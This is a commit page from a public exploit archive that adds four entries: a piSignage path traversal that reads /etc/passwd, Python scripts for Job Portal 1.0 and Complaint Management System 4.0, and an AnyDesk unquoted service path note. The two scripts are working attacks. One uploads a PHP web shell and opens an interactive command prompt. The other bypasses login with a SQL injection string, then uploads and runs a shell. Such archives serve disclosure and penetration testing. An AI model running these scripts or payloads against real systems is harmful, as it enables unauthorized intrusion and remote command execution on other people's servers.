Skip to content

Commit fe24bda

Browse files
author
Offensive Security
committed
DB: 2020-01-08
4 changes to exploits/shellcodes AnyDesk 5.4.0 - Unquoted Service Path Job Portal 1.0 - Remote Code Execution piSignage 2.6.4 - Directory Traversal Complaint Management System 4.0 - Remote Code Execution
1 parent 95c6eea commit fe24bda

5 files changed

Lines changed: 152 additions & 0 deletions

File tree

‎exploits/hardware/webapps/47882.txt‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
# Exploit Title: piSignage 2.6.4 - Directory Traversal
2+
# Date: 2019-11-13
3+
# Exploit Author: JunYeong Ko
4+
# Vendor Homepage: https://pisignage.com/
5+
# Version: piSignage before 2.6.4
6+
# Tested on: piSignage before 2.6.4
7+
# CVE : CVE-2019-20354
8+
9+
Summary:
10+
The web application component of piSignage before 2.6.4 allows a remote attacker (authenticated as a low-privilege user) to download arbitrary files from the Raspberry Pi via api/settings/log?file=../ path traversal. In other words, this issue is in the player API for log download.
11+
12+
PoC:
13+
1. Click the Log Download button at the bottom of the 'piSignage' administration page.
14+
2. HTTP Packet is sent when the button is pressed.
15+
3. Change the value of 'file' parameter to ../../../../../../../../../../etc/passwd.
16+
4. You can see that the /etc/passwd file is read.
17+
18+
References:
19+
https://github.com/colloqi/piSignage/issues/97

‎exploits/php/webapps/47881.py‎

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# Exploit Title: Job Portal 1.0 - Remote Code Execution
2+
# Google Dork: N/A
3+
# Date: 2020-01-03
4+
# Exploit Author: Tib3rius
5+
# Vendor Homepage: https://phpgurukul.com/job-portal-project/
6+
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7855
7+
# Version: 1.0
8+
# Tested on: Ubuntu 16.04
9+
# CVE: N/A
10+
11+
import argparse
12+
import random
13+
import requests
14+
import string
15+
import sys
16+
17+
parser = argparse.ArgumentParser()
18+
parser.add_argument('url', action='store', help='The URL of the target.')
19+
args = parser.parse_args()
20+
21+
url = args.url.rstrip('/')
22+
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
23+
24+
payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
25+
26+
file = {'file': (random_file + '.php', payload, 'text/php')}
27+
print('> Attempting to upload PHP web shell...')
28+
r = requests.post(url + '/admin/gallery.php', files=file, data={'submit':'1'}, verify=False)
29+
print('> Verifying shell upload...')
30+
r = requests.get(url + '/admin/uploadimg/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)
31+
32+
if random_file in r.text:
33+
print('> Web shell uploaded to ' + url + '/admin/uploadimg/' + random_file + '.php')
34+
print('> Example command usage: ' + url + '/admin/uploadimg/' + random_file + '.php?cmd=whoami')
35+
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
36+
if launch_shell.lower() == 'y':
37+
while True:
38+
cmd = str(input('RCE $ '))
39+
if cmd == 'exit':
40+
sys.exit(0)
41+
r = requests.get(url + '/admin/uploadimg/' + random_file + '.php', params={'cmd':cmd}, verify=False)
42+
print(r.text)
43+
else:
44+
if r.status_code == 200:
45+
print('> Web shell uploaded to ' + url + '/admin/uploadimg/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
46+
else:
47+
print('> Web shell failed to upload! The web server may not have write permissions.')

‎exploits/php/webapps/47884.py‎

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
# Exploit Title: Complaint Management System 4.0 - Remote Code Execution
2+
# Exploit Author: Metin Yunus Kandemir
3+
# Vendor Homepage: https://phpgurukul.com/
4+
# Software Link: https://phpgurukul.com/complaint-management-sytem/
5+
# Version: v4.0
6+
# Category: Webapps
7+
# Tested on: Xampp for Windows
8+
# Description:
9+
# There isn't any file extension control at the "Register Complaint" section of user panel.
10+
# An unauthorized user can upload and execute php file.
11+
# Below basic python script will bypass authentication and execute command on target server.
12+
13+
poc.py
14+
15+
#!/usr/bin/python
16+
17+
import requests
18+
import sys
19+
20+
21+
if len(sys.argv) !=3:
22+
print "[*] Usage: PoC.py rhost/rpath command"
23+
print "[*] e.g.: PoC.py 127.0.0.1/cms ipconfig"
24+
exit(0)
25+
26+
rhost = sys.argv[1]
27+
command = sys.argv[2]
28+
29+
#authentication bypass
30+
url = "http://"+rhost+"/users/index.php"
31+
data = {"username": "joke' or '1'='1'#", "password": "joke' or '1'='1'#", "submit": ""}
32+
33+
with requests.Session() as session:
34+
35+
login = session.post(url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"})
36+
37+
38+
#check authentication bypass
39+
check = session.get("http://"+rhost+"/users/dashboard.php", allow_redirects=False)
40+
print ("[*] Status code for login: %s"%check.status_code)
41+
if check.status_code == 200:
42+
print ("[+] Authentication bypass was successfull")
43+
else:
44+
print ("[-] Authentication bypass was unsuccessful")
45+
sys.exit()
46+
47+
#upload php file
48+
ufile = {'compfile':('command.php', '<?php system($_GET["cmd"]); ?>')}
49+
fdata = {"category": "1", "subcategory": "Online Shopping", "complaintype": " Complaint", "state": "Punjab", "noc": "the end", "complaindetails": "the end","compfile": "commmand.php", "submit": ""}
50+
furl = "http://"+rhost+"/users/register-complaint.php"
51+
fupload = session.post(url=furl, files= ufile, data=fdata)
52+
53+
#execution
54+
final=session.get("http://"+rhost+"/users/complaintdocs/command.php?cmd="+command)
55+
56+
if final.status_code == 200:
57+
print "[+] Command execution completed successfully.\n"
58+
print "\tPut on a happy face.\n"
59+
else:
60+
print "[-] Command execution was unsuccessful."
61+
print "\tOne bad day!"
62+
sys.exit()
63+
64+
print final.text

‎exploits/windows/local/47883.txt‎

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# Exploit Title: AnyDesk 5.4.0 - Unquoted Service Path
2+
# Exploit Author: SajjadBnd
3+
# Date: 2019-12-23
4+
# Vendor Homepage: http://anydesk.com
5+
# Software Link: https://download.anydesk.com/AnyDesk.exe
6+
# Version: Software Version 5.4.0
7+
# Tested on: Win10 x64
8+
9+
SERVICE_NAME: AnyDesk
10+
TYPE : 10 WIN32_OWN_PROCESS
11+
START_TYPE : 2 AUTO_START
12+
ERROR_CONTROL : 1 NORMAL
13+
BINARY_PATH_NAME : "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service
14+
LOAD_ORDER_GROUP :
15+
TAG : 0
16+
DISPLAY_NAME : AnyDesk Service
17+
DEPENDENCIES : RpcSs
18+
SERVICE_START_NAME: LocalSystem

‎files_exploits.csv‎

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -10884,6 +10884,7 @@ id,file,description,date,author,type,platform,port
1088410884
47845,exploits/windows/local/47845.txt,"Plantronics Hub 3.13.2 - Local Privilege Escalation",2020-01-03,Markus,local,windows,
1088510885
47852,exploits/windows/local/47852.txt,"Adaware Web Companion 4.9.2159 - 'WCAssistantService' Unquoted Service Path",2020-01-06,ZwX,local,windows,
1088610886
47880,exploits/windows/local/47880.cc,"Windows - Shell COM Server Registrar Local Privilege Escalation",2020-01-02,0vercl0k,local,windows,
10887+
47883,exploits/windows/local/47883.txt,"AnyDesk 5.4.0 - Unquoted Service Path",2020-01-07,SajjadBnd,local,windows,
1088710888
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
1088810889
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
1088910890
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@@ -42182,3 +42183,6 @@ id,file,description,date,author,type,platform,port
4218242183
47875,exploits/php/webapps/47875.txt,"Voyager 1.3.0 - Directory Traversal",2020-01-06,NgoAnhDuc,webapps,php,
4218342184
47876,exploits/php/webapps/47876.txt,"Codoforum 4.8.3 - Persistent Cross-Site Scripting",2020-01-06,Prasanth,webapps,php,
4218442185
47879,exploits/python/webapps/47879.md,"Django < 3.0 < 2.2 < 1.11 - Account Hijack",2019-12-24,"Ryuji Tsutsui",webapps,python,
42186+
47881,exploits/php/webapps/47881.py,"Job Portal 1.0 - Remote Code Execution",2020-01-07,Tib3rius,webapps,php,
42187+
47882,exploits/hardware/webapps/47882.txt,"piSignage 2.6.4 - Directory Traversal",2020-01-07,"JunYeong Ko",webapps,hardware,
42188+
47884,exploits/php/webapps/47884.py,"Complaint Management System 4.0 - Remote Code Execution",2020-01-07,"Metin Yunus Kandemir",webapps,php,

0 commit comments

Comments
 (0)